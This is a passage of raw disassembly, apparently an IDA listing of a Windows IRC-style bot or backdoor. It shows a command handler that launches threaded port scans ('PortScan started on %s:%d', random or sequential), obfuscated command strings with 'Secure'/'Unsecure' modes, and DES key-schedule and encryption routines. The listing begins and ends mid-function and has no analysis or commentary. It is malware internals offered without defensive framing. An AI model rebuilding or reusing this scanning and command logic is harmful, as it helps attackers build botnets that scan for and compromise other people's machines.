		call	dword_42F038	; CloseHandle


loc_40AA9A:				; CODE XREF: sub_403B2C+6F43j
		push	[ebp+arg_C]
		push	[ebp+arg_5C]
		push	offset dword_4552D0
		call	sub_401311
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40AF54
		push	10h
		push	eax
		lea	eax, [ebp+var_144]
		push	eax
		call	sub_4222F0
		mov	eax, [ebp+arg_5C]
		add	esp, 0Ch
		jmp	loc_40A9C5
; ---------------------------------------------------------------------------


loc_40AACF:				; CODE XREF: sub_403B2C+6EE3j
		cmp	[ebp+arg_54], 0
		jz	short loc_40AADC
		and	word ptr [ebp+var_48+2], 0
		jmp	short loc_40AAE6
; ---------------------------------------------------------------------------


loc_40AADC:				; CODE XREF: sub_403B2C+6FA7j
		cmp	[ebp+arg_58], 0
		jz	short loc_40AAE6
		and	byte ptr [ebp+var_48+3], 0


loc_40AAE6:				; CODE XREF: sub_403B2C+6EF0j
					; sub_403B2C+6FAEj ...
		push	10h
		push	[ebp+var_48]
		call	dword_45439C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_144]
		push	eax
		call	sub_4222F0
		add	esp, 0Ch
		cmp	[ebp+arg_5C], 0
		jz	short loc_40AB7E
		xor	eax, eax
		cmp	[ebp+arg_50], eax
		mov	[ebp+arg_4], eax
		jz	short loc_40AB1A
		mov	[ebp+arg_4], 3
		jmp	short loc_40AB34
; ---------------------------------------------------------------------------


loc_40AB1A:				; CODE XREF: sub_403B2C+6FE3j
		cmp	[ebp+arg_54], eax
		jz	short loc_40AB28
		mov	[ebp+arg_4], 2
		jmp	short loc_40AB34
; ---------------------------------------------------------------------------


loc_40AB28:				; CODE XREF: sub_403B2C+6FF1j
		cmp	[ebp+arg_58], eax
		jz	short loc_40AB34
		mov	[ebp+arg_4], 1


loc_40AB34:				; CODE XREF: sub_403B2C+6FECj
					; sub_403B2C+6FFAj ...
		lea	eax, [ebp+var_144]
		push	30h
		push	eax
		call	sub_4234F0
		and	byte ptr [ebp+arg_C+3],	0
		cmp	[ebp+arg_4], 0
		pop	ecx
		pop	ecx
		jle	loc_40A992


loc_40AB52:				; CODE XREF: sub_403B2C+704Bj
		test	eax, eax
		jz	loc_40A992
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_144]
		push	30h
		push	eax
		call	sub_4234F0
		inc	byte ptr [ebp+arg_C+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_C+3]
		cmp	ecx, [ebp+arg_4]
		jl	short loc_40AB52
		jmp	loc_40A992
; ---------------------------------------------------------------------------


loc_40AB7E:				; CODE XREF: sub_403B2C+6FD9j
		and	[ebp+var_88], 0


loc_40AB85:				; CODE XREF: sub_403B2C+6E70j
					; sub_403B2C+6E9Fj
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_94], eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_8C], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_90], eax
		mov	[ebp+var_7C], ecx
		test	eax, eax
		lea	eax, [ebp+var_134]
		jz	short loc_40ABB7
		push	offset dword_439638
		jmp	short loc_40ABBC
; ---------------------------------------------------------------------------


loc_40ABB7:				; CODE XREF: sub_403B2C+7082j
		push	offset dword_439644


loc_40ABBC:				; CODE XREF: sub_403B2C+7089j
		push	eax
		call	dword_42F04C	; lstrcpyA
		cmp	[ebp+var_88], 0
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40ABD6
		mov	eax, offset aSequential	; "Sequential"


loc_40ABD6:				; CODE XREF: sub_403B2C+70A3j
		push	[ebp+var_9C]
		lea	ecx, [ebp+var_144]
		push	[ebp+var_AC]
		push	[ebp+var_B0]
		push	[ebp+var_B4]
		push	ecx
		push	eax
		push	ebx
		push	offset aSSPortscanSt_0 ; "%s %s	PortScan started on %s:%d with a "...
		push	8
		call	sub_41BED7
		add	esp, 24h
		mov	[ebp+var_A8], eax
		lea	eax, [ebp+arg_6C]
		lea	ecx, [ebp+var_144]
		push	eax
		xor	eax, eax
		push	eax
		push	ecx
		push	offset sub_40178D
		push	eax
		push	eax
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_A8]
		imul	ecx, 1018h
		test	eax, eax
		mov	dword_46D414[ecx], eax
		jnz	short loc_40AC9E
		cmp	[ebp+arg_14], eax
		jnz	short loc_40AC62
		cmp	[ebp+arg_18], eax
		jnz	short loc_40AC68
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	ebx
		push	offset aSFailedToSta_0 ; "%s Failed to start scan thread, error: "...
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 14h


loc_40AC62:				; CODE XREF: sub_403B2C+7114j
		cmp	[ebp+arg_18], 0
		jz	short loc_40AC82


loc_40AC68:				; CODE XREF: sub_403B2C+7119j
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	ebx
		push	offset aSFailedToSta_0 ; "%s Failed to start scan thread, error: "...
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 14h


loc_40AC82:				; CODE XREF: sub_403B2C+6DF3j
					; sub_403B2C+6E0Cj ...
		inc	[ebp+arg_8]
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+arg_0]
		jl	loc_40A76B
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40AC96:				; CODE XREF: sub_403B2C+7179j
		push	32h
		call	dword_42F15C	; Sleep


loc_40AC9E:				; CODE XREF: sub_403B2C+710Fj
		cmp	[ebp+var_84], 0
		jz	short loc_40AC96
		xor	eax, eax
		cmp	[ebp+arg_14], eax
		jnz	short loc_40ACFE
		cmp	[ebp+arg_18], eax
		jnz	short loc_40AD08
		cmp	[ebp+arg_1C], eax
		jnz	short loc_40AC82
		cmp	[ebp+var_88], eax
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40ACCA
		mov	eax, offset aSequential	; "Sequential"


loc_40ACCA:				; CODE XREF: sub_403B2C+7197j
		push	[ebp+var_9C]
		lea	ecx, [ebp+var_144]
		push	[ebp+var_AC]
		push	[ebp+var_B0]
		push	[ebp+var_B4]
		push	ecx
		push	eax
		push	ebx
		push	offset aSSPortscanSt_0 ; "%s %s	PortScan started on %s:%d with a "...
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 28h


loc_40ACFE:				; CODE XREF: sub_403B2C+7180j
		cmp	[ebp+arg_18], 0
		jz	loc_40AC82


loc_40AD08:				; CODE XREF: sub_403B2C+7185j
		cmp	[ebp+var_88], 0
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40AD1B
		mov	eax, offset aSequential	; "Sequential"


loc_40AD1B:				; CODE XREF: sub_403B2C+71E8j
		push	[ebp+var_9C]
		lea	ecx, [ebp+var_144]
		push	[ebp+var_AC]
		push	[ebp+var_B0]
		push	[ebp+var_B4]
		push	ecx
		push	eax
		push	ebx
		push	offset aSSPortscanSt_0 ; "%s %s	PortScan started on %s:%d with a "...
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 28h
		jmp	loc_40AC82
; ---------------------------------------------------------------------------


loc_40AD53:				; CODE XREF: sub_403B2C+6EBBj
		mov	esi, offset aSNoIpSpecifi_0 ; "%s No IP	specified"
		jmp	short loc_40AD5F
; ---------------------------------------------------------------------------


loc_40AD5A:				; CODE XREF: sub_403B2C+6F14j
		mov	esi, offset aSNoSubnetCla_0 ; "%s No subnet class specified"


loc_40AD5F:				; CODE XREF: sub_403B2C+15EDj
					; sub_403B2C+3F75j ...
		cmp	[ebp+arg_14], ecx
		jnz	loc_407742
		cmp	[ebp+arg_18], ecx
		jmp	loc_40772C
; ---------------------------------------------------------------------------


loc_40AD70:				; CODE XREF: sub_403B2C+425Ej
					; sub_403B2C+4267j ...
		mov	ebx, offset aRaMr15qabm1 ; "RA/Mr15qAbm1"


loc_40AD75:				; CODE XREF: sub_403B2C+179Cj
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"


loc_40AD7A:				; CODE XREF: sub_403B2C+4375j
					; sub_403B2C+4440j ...
		cmp	[ebp+arg_14], eax
		jnz	short loc_40AD96
		cmp	[ebp+arg_18], eax
		jnz	short loc_40AD9F
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h
		xor	eax, eax


loc_40AD96:				; CODE XREF: sub_403B2C+7251j
		cmp	[ebp+arg_18], eax


loc_40AD99:				; CODE XREF: sub_403B2C+3C1Aj
					; sub_403B2C+4FC4j
		jz	loc_40AF54


loc_40AD9F:				; CODE XREF: sub_403B2C+282j
					; sub_403B2C:loc_40772Cj ...
		push	ebx


loc_40ADA0:				; CODE XREF: sub_403B2C+147Ej
					; sub_403B2C+203Ej ...
		push	esi


loc_40ADA1:				; CODE XREF: sub_403B2C+3B5Cj
					; sub_403B2C+3CA0j ...
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491


loc_40ADAB:				; CODE XREF: sub_403B2C+113j
					; sub_403B2C+3E2j ...
		add	esp, 10h
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40ADB3:				; CODE XREF: sub_403B2C+148Ej
					; sub_403B2C+149Fj
		push	dword ptr [esi]
		push	offset aQbwgd0cfxf_ ; "qbwGd0CFxf./"
		call	ebx ; dword_42F070
		mov	ebx, eax
		push	2
		neg	ebx
		sbb	ebx, ebx
		inc	ebx
		call	sub_41C254
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_40AE16
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset off_434A64
		jnz	short loc_40ADFE
		cmp	[ebp+arg_18], 0
		jnz	short loc_40AE08
		push	eax
		push	ebx
		push	offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_40ADFE:				; CODE XREF: sub_403B2C+72B4j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_40AE08:				; CODE XREF: sub_403B2C+72BAj
		push	[ebp+arg_C]
		push	ebx
		push	offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		jmp	loc_40AF46
; ---------------------------------------------------------------------------


loc_40AE16:				; CODE XREF: sub_403B2C+72A4j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_3964],	eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_3968],	eax
		push	dword ptr [edi+0Ch]
		lea	eax, [ebp+var_3A14]
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		xor	esi, esi
		cmp	ebx, esi
		mov	[ebp+var_3A18],	eax
		mov	[ebp+var_3984],	ebx
		mov	[ebp+var_3980],	esi
		mov	ecx, offset aSecure ; "Secure"
		jnz	short loc_40AEAA
		mov	ecx, offset aUnsecure ;	"Unsecure"
		mov	eax, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0"


loc_40AE62:				; CODE XREF: sub_403B2C+7383j
		push	ecx
		push	eax
		push	offset aSS_	; "%s %s."
		push	2
		call	sub_41BED7
		add	esp, 10h
		mov	[ebp+var_3994],	eax
		lea	eax, [ebp+arg_6C]
		push	eax
		lea	eax, [ebp+var_3A18]
		push	esi
		push	eax
		push	offset sub_41B226
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_3994]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jz	short loc_40AEC6
		jmp	short loc_40AEB9
; ---------------------------------------------------------------------------


loc_40AEAA:				; CODE XREF: sub_403B2C+732Aj
		mov	eax, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		jmp	short loc_40AE62
; ---------------------------------------------------------------------------


loc_40AEB1:				; CODE XREF: sub_403B2C+7393j
		push	32h
		call	dword_42F15C	; Sleep


loc_40AEB9:				; CODE XREF: sub_403B2C+737Cj
		cmp	[ebp+var_395C],	esi
		jz	short loc_40AEB1
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40AEC6:				; CODE XREF: sub_403B2C+737Aj
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSFailedToStart ; "%s Failed to start [%s],	error: [%d]"
		jnz	short loc_40AF0C
		cmp	[ebp+arg_18], 0
		jnz	short loc_40AF12
		test	ebx, ebx
		mov	[ebp+arg_C], offset aSecure ; "Secure"
		jnz	short loc_40AF26
		mov	[ebp+arg_C], offset aUnsecure ;	"Unsecure"
		mov	[ebp+arg_4], offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0"


loc_40AEF0:				; CODE XREF: sub_403B2C+7401j
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_40AF0C:				; CODE XREF: sub_403B2C+73A3j
		cmp	[ebp+arg_18], 0
		jz	short loc_40AF54


loc_40AF12:				; CODE XREF: sub_403B2C+73A9j
		test	ebx, ebx
		mov	[ebp+arg_C], offset aSecure ; "Secure"
		jnz	short loc_40AF2F
		mov	[ebp+arg_C], offset aUnsecure ;	"Unsecure"
		jmp	short loc_40AF36
; ---------------------------------------------------------------------------


loc_40AF26:				; CODE XREF: sub_403B2C+73B4j
		mov	[ebp+arg_4], offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		jmp	short loc_40AEF0
; ---------------------------------------------------------------------------


loc_40AF2F:				; CODE XREF: sub_403B2C+73EFj
		mov	ebx, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx."
		jmp	short loc_40AF3B
; ---------------------------------------------------------------------------


loc_40AF36:				; CODE XREF: sub_403B2C+73F8j
		mov	ebx, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0"


loc_40AF3B:				; CODE XREF: sub_403B2C+7408j
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	[ebp+arg_C]


loc_40AF45:				; CODE XREF: sub_403B2C+BD6j
					; sub_403B2C+C60j ...
		push	ebx


loc_40AF46:				; CODE XREF: sub_403B2C+72E5j
		push	esi


loc_40AF47:				; CODE XREF: sub_403B2C+1385j
					; sub_403B2C+1AF7j
		push	dword ptr [edi]
		push	[ebp+arg_10]


loc_40AF4C:				; CODE XREF: sub_403B2C+4A67j
		call	sub_410491


loc_40AF51:				; CODE XREF: sub_403B2C+4A5Fj
		add	esp, 18h


loc_40AF54:				; CODE XREF: sub_403B2C+2Bj
					; sub_403B2C+3Cj ...
		xor	eax, eax
		inc	eax


loc_40AF57:				; CODE XREF: sub_403B2C+CDEj
					; sub_403B2C+1690j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403B2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF5C	proc near		; CODE XREF: sub_420688+3Ap

var_F4		= byte ptr -0F4h
var_F0		= byte ptr -0F0h
var_90		= byte ptr -90h
var_74		= byte ptr -74h
var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0F4h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		xor	ecx, ecx


loc_40AF6C:				; CODE XREF: sub_40AF5C+37j
		movzx	eax, byte_435CC8[ecx]
		mov	esi, [ebp+arg_0]
		mov	edx, eax
		sar	edx, 3
		and	eax, 7
		mov	dl, [edx+esi]
		test	byte_435C58[eax*2], dl
		setnz	al
		mov	[ebp+ecx+var_74], al
		inc	ecx
		cmp	ecx, 38h
		jl	short loc_40AF6C
		mov	[ebp+arg_0], ebx
		mov	[ebp+var_4], 1Eh


loc_40AF9F:				; CODE XREF: sub_40AF5C+F2j
		cmp	[ebp+arg_4], 1
		jnz	short loc_40AFAA
		mov	eax, [ebp+var_4]
		jmp	short loc_40AFAF
; ---------------------------------------------------------------------------


loc_40AFAA:				; CODE XREF: sub_40AF5C+47j
		mov	eax, [ebp+arg_0]
		add	eax, eax


loc_40AFAF:				; CODE XREF: sub_40AF5C+4Cj
		lea	ecx, [ebp+eax*4+var_F0]
		lea	esi, [ebp+eax*4+var_F4]
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	[ecx], ebx
		mov	[esi], ebx
		movzx	eax, byte ptr dword_435D00[eax]
		mov	edi, eax


loc_40AFCF:				; CODE XREF: sub_40AF5C+8Ej
		cmp	edi, 1Ch
		jge	short loc_40AFDA
		mov	bl, [ebp+edi+var_74]
		jmp	short loc_40AFE1
; ---------------------------------------------------------------------------


loc_40AFDA:				; CODE XREF: sub_40AF5C+76j
		mov	bl, [ebp+edi+var_90]


loc_40AFE1:				; CODE XREF: sub_40AF5C+7Cj
		mov	[ebp+edx+var_3C], bl
		inc	edx
		inc	edi
		cmp	edx, 1Ch
		jl	short loc_40AFCF
		push	1Ch
		pop	edi
		add	eax, edi


loc_40AFF1:				; CODE XREF: sub_40AF5C+B0j
		cmp	eax, 38h
		jge	short loc_40AFFC
		mov	dl, [ebp+eax+var_74]
		jmp	short loc_40B003
; ---------------------------------------------------------------------------


loc_40AFFC:				; CODE XREF: sub_40AF5C+98j
		mov	dl, [ebp+eax+var_90]


loc_40B003:				; CODE XREF: sub_40AF5C+9Ej
		mov	[ebp+edi+var_3C], dl
		inc	edi
		inc	eax
		cmp	edi, 38h
		jl	short loc_40AFF1
		xor	ebx, ebx
		xor	eax, eax


loc_40B012:				; CODE XREF: sub_40AF5C+E5j
		lea	edx, dword_435D28[eax]
		movzx	edi, byte ptr [edx-18h]
		cmp	[ebp+edi+var_3C], bl
		jz	short loc_40B02B
		mov	edi, dword_435C68[eax*4]
		or	[esi], edi


loc_40B02B:				; CODE XREF: sub_40AF5C+C4j
		movzx	edx, byte ptr [edx]
		cmp	[ebp+edx+var_3C], bl
		jz	short loc_40B03D
		mov	edx, dword_435C68[eax*4]
		or	[ecx], edx


loc_40B03D:				; CODE XREF: sub_40AF5C+D6j
		inc	eax
		cmp	eax, 18h
		jl	short loc_40B012
		sub	[ebp+var_4], 2
		inc	[ebp+arg_0]
		cmp	[ebp+var_4], 0FFFFFFFEh
		jg	loc_40AF9F
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40B066
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AF5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B066	proc near		; CODE XREF: sub_40AF5C+FFp

var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		lea	edx, [ebp+var_84]
		mov	[ebp+var_4], 10h


loc_40B07F:				; CODE XREF: sub_40B066+8Dj
		mov	eax, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	eax, [eax]
		mov	ecx, [ecx]
		mov	esi, eax
		and	esi, 0FC0h
		mov	edi, eax
		shl	esi, 4
		and	edi, 0FC0000h
		mov	ebx, ecx
		or	esi, edi
		mov	edi, ecx
		shr	edi, 4
		and	edi, 0FC000h
		and	ebx, 0FC0h
		or	edi, ebx
		shl	esi, 6
		shr	edi, 6
		or	esi, edi
		mov	[edx], esi
		mov	esi, eax
		and	esi, 3Fh
		and	eax, 3F000h
		shl	esi, 4
		or	esi, eax
		mov	eax, ecx
		shr	eax, 4
		shl	esi, 0Ch
		and	eax, 3F00h
		and	ecx, 3Fh
		or	esi, eax
		add	edx, 4
		or	esi, ecx
		mov	[edx], esi
		add	edx, 4
		dec	[ebp+var_4]
		jnz	short loc_40B07F
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_40B107
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B066	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B107	proc near		; CODE XREF: sub_40B066+96p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, offset dword_454140


loc_40B110:				; CODE XREF: sub_40B107+18j
		mov	edx, [ecx]
		add	ecx, 4
		mov	[eax], edx
		add	eax, 4
		cmp	eax, offset dword_4541C0
		jb	short loc_40B110
		retn
sub_40B107	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B122	proc near		; CODE XREF: sub_420688+49p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40B152
		lea	eax, [ebp+var_8]
		push	offset dword_454140
		push	eax
		call	sub_40B1D8
		push	[ebp+arg_4]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_40B19F
		add	esp, 18h
		leave
		retn
sub_40B122	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B152	proc near		; CODE XREF: sub_40B122+Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [esp+arg_4]
		movzx	edx, byte ptr [ecx]
		shl	edx, 18h
		inc	ecx
		mov	[eax], edx
		movzx	edx, byte ptr [ecx]
		shl	edx, 10h
		or	[eax], edx
		inc	ecx
		xor	edx, edx
		mov	dh, [ecx]
		or	[eax], edx
		inc	ecx
		movzx	edx, byte ptr [ecx]
		or	[eax], edx
		inc	ecx
		add	eax, 4
		movzx	edx, byte ptr [ecx]
		shl	edx, 18h
		inc	ecx
		mov	[eax], edx
		movzx	edx, byte ptr [ecx]
		shl	edx, 10h
		or	[eax], edx
		inc	ecx
		xor	edx, edx
		mov	dh, [ecx]
		or	[eax], edx
		mov	edx, [eax]
		movzx	ecx, byte ptr [ecx+1]
		or	ecx, edx
		mov	[eax], ecx
		retn
sub_40B152	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B19F	proc near		; CODE XREF: sub_40B122+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [esp+arg_4]
		mov	dl, [ecx+3]
		mov	[eax], dl
		mov	dl, [ecx+2]
		inc	eax
		mov	[eax], dl
		mov	dl, [ecx+1]
		inc	eax
		mov	[eax], dl
		mov	dl, [ecx]
		inc	eax
		add	ecx, 4
		mov	[eax], dl
		mov	dl, [ecx+3]
		inc	eax
		mov	[eax], dl
		mov	dl, [ecx+2]
		inc	eax
		mov	[eax], dl
		mov	dl, [ecx+1]
		inc	eax
		mov	[eax], dl
		mov	cl, [ecx]
		mov	[eax+1], cl
		retn
sub_40B19F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1D8	proc near		; CODE XREF: sub_40B122+1Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edx, [eax]
		mov	ecx, [eax+4]
		mov	eax, edx
		mov	esi, 0F0F0F0Fh
		shr	eax, 4
		mov	edi, ecx
		and	eax, esi
		and	edi, esi
		mov	[ebp+var_4], 8
		xor	eax, edi
		xor	ecx, eax
		shl	eax, 4
		xor	edx, eax
		mov	esi, ecx
		mov	eax, edx
		and	esi, 0FFFFh
		shr	eax, 10h
		xor	eax, esi
		mov	esi, 33333333h
		xor	ecx, eax
		shl	eax, 10h
		xor	edx, eax
		mov	eax, ecx
		shr	eax, 2
		mov	edi, edx
		and	eax, esi
		and	edi, esi
		mov	esi, 0FF00FFh
		xor	eax, edi
		xor	edx, eax
		shl	eax, 2
		xor	ecx, eax
		mov	edi, edx
		mov	eax, ecx
		and	edi, esi
		shr	eax, 8
		and	eax, esi
		xor	eax, edi
		xor	edx, eax
		shl	eax, 8
		xor	ecx, eax
		mov	eax, ecx
		add	ecx, ecx
		shr	eax, 1Fh
		or	eax, ecx
		mov	ecx, eax
		xor	ecx, edx
		and	ecx, 0AAAAAAAAh
		xor	edx, ecx
		xor	eax, ecx
		mov	ecx, edx
		add	edx, edx
		shr	ecx, 1Fh
		or	ecx, edx


loc_40B26F:				; CODE XREF: sub_40B1D8+1BAj
		mov	edi, [ebp+arg_4]
		mov	esi, eax
		mov	edx, eax
		shl	esi, 1Ch
		shr	edx, 4
		or	esi, edx
		xor	esi, [edi]
		add	edi, 4
		mov	edx, esi
		mov	ebx, esi
		shr	edx, 18h
		and	edx, 3Fh
		shr	ebx, 10h
		mov	edx, dword_435D40[edx*4]
		and	ebx, 3Fh
		or	edx, dword_435F40[ebx*4]
		mov	ebx, esi
		shr	ebx, 8
		and	ebx, 3Fh
		and	esi, 3Fh
		or	edx, dword_436140[ebx*4]
		or	edx, dword_436340[esi*4]
		mov	esi, [edi]
		add	edi, 4
		xor	esi, eax
		mov	[ebp+arg_4], edi
		mov	edi, esi
		shr	edi, 18h
		mov	ebx, esi
		and	edi, 3Fh
		shr	ebx, 10h
		mov	edi, dword_435E40[edi*4]
		and	ebx, 3Fh
		or	edi, dword_436040[ebx*4]
		mov	ebx, esi
		shr	ebx, 8
		and	ebx, 3Fh
		and	esi, 3Fh
		or	edi, dword_436240[ebx*4]
		or	edi, dword_436440[esi*4]
		or	edi, edx
		xor	ecx, edi
		mov	edi, [ebp+arg_4]
		mov	esi, ecx
		mov	edx, ecx
		shl	esi, 1Ch
		shr	edx, 4
		or	esi, edx
		xor	esi, [edi]
		add	edi, 4
		mov	edx, esi
		mov	ebx, esi
		shr	edx, 18h
		and	edx, 3Fh
		shr	ebx, 10h
		mov	edx, dword_435D40[edx*4]
		and	ebx, 3Fh
		or	edx, dword_435F40[ebx*4]
		mov	ebx, esi
		shr	ebx, 8
		and	ebx, 3Fh
		and	esi, 3Fh
		or	edx, dword_436140[ebx*4]
		or	edx, dword_436340[esi*4]
		mov	esi, [edi]
		add	edi, 4
		xor	esi, ecx
		mov	[ebp+arg_4], edi
		mov	edi, esi
		shr	edi, 18h
		mov	ebx, esi
		and	edi, 3Fh
		shr	ebx, 10h
		mov	edi, dword_435E40[edi*4]
		and	ebx, 3Fh
		or	edi, dword_436040[ebx*4]
		mov	ebx, esi
		shr	ebx, 8
		and	ebx, 3Fh
		or	edi, dword_436240[ebx*4]
		and	esi, 3Fh
		or	edi, dword_436440[esi*4]
		or	edi, edx
		xor	eax, edi
		dec	[ebp+var_4]
		jnz	loc_40B26F
		mov	edx, eax
		shl	edx, 1Fh
		shr	eax, 1
		or	edx, eax
		mov	eax, edx
		xor	eax, ecx
		and	eax, 0AAAAAAAAh
		xor	ecx, eax
		xor	edx, eax
		mov	esi, ecx
		mov	edi, edx
		shl	esi, 1Fh
		shr	ecx, 1
		or	esi, ecx
		mov	ecx, 0FF00FFh
		mov	eax, esi
		and	edi, ecx
		shr	eax, 8
		and	eax, ecx
		mov	ecx, 33333333h
		xor	eax, edi
		xor	edx, eax
		shl	eax, 8
		xor	esi, eax
		mov	edi, edx
		mov	eax, esi
		and	edi, ecx
		shr	eax, 2
		and	eax, ecx
		xor	eax, edi
		xor	edx, eax
		shl	eax, 2
		xor	esi, eax
		mov	eax, edx
		mov	ecx, esi
		shr	eax, 10h
		and	ecx, 0FFFFh
		xor	eax, ecx
		mov	ecx, 0F0F0F0Fh
		xor	esi, eax
		shl	eax, 10h
		xor	edx, eax
		mov	edi, esi
		mov	eax, edx
		and	edi, ecx
		shr	eax, 4
		and	eax, ecx
		mov	ecx, [ebp+arg_0]
		xor	eax, edi
		mov	edi, eax
		shl	edi, 4
		xor	edi, edx
		xor	eax, esi
		mov	[ecx], edi
		pop	edi
		pop	esi
		mov	[ecx+4], eax
		pop	ebx
		leave
		retn
sub_40B1D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B427	proc near		; CODE XREF: sub_40B63F+7Ep

var_2008	= byte ptr -2008h
var_1FE4	= byte ptr -1FE4h
var_1FD8	= byte ptr -1FD8h
var_1F31	= byte ptr -1F31h
var_1008	= byte ptr -1008h
var_1000	= dword	ptr -1000h
var_FF8		= dword	ptr -0FF8h
var_F88		= dword	ptr -0F88h
var_F84		= dword	ptr -0F84h
var_F54		= dword	ptr -0F54h
var_F50		= dword	ptr -0F50h
var_F38		= dword	ptr -0F38h
var_E7C		= dword	ptr -0E7Ch
var_CA8		= dword	ptr -0CA8h
var_CA0		= dword	ptr -0CA0h
var_C98		= byte ptr -0C98h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_D0		= dword	ptr  0D8h
arg_D4		= dword	ptr  0DCh

		push	ebp
		mov	ebp, esp
		mov	eax, 2008h
		call	sub_4220C0
		push	esi
		push	edi
		mov	edi, dword_436A5C
		mov	esi, 0A7h
		test	edi, edi
		mov	[ebp+var_4], esi
		jnz	short loc_40B44F
		xor	eax, eax
		jmp	loc_40B63B
; ---------------------------------------------------------------------------


loc_40B44F:				; CODE XREF: sub_40B427+1Fj
		push	ebx
		push	30h
		lea	eax, [ebp+var_2008]
		push	offset off_436A28
		push	eax
		call	sub_4223F0
		push	esi
		lea	eax, [ebp+var_1FD8]
		push	0FFFFFF90h
		push	eax
		call	sub_4221F0
		mov	ebx, offset dword_432980
		push	edi
		lea	eax, [ebp+var_1F31]
		push	ebx
		push	eax
		call	sub_4223F0
		lea	esi, [edi+0D7h]
		jmp	short loc_40B4C9
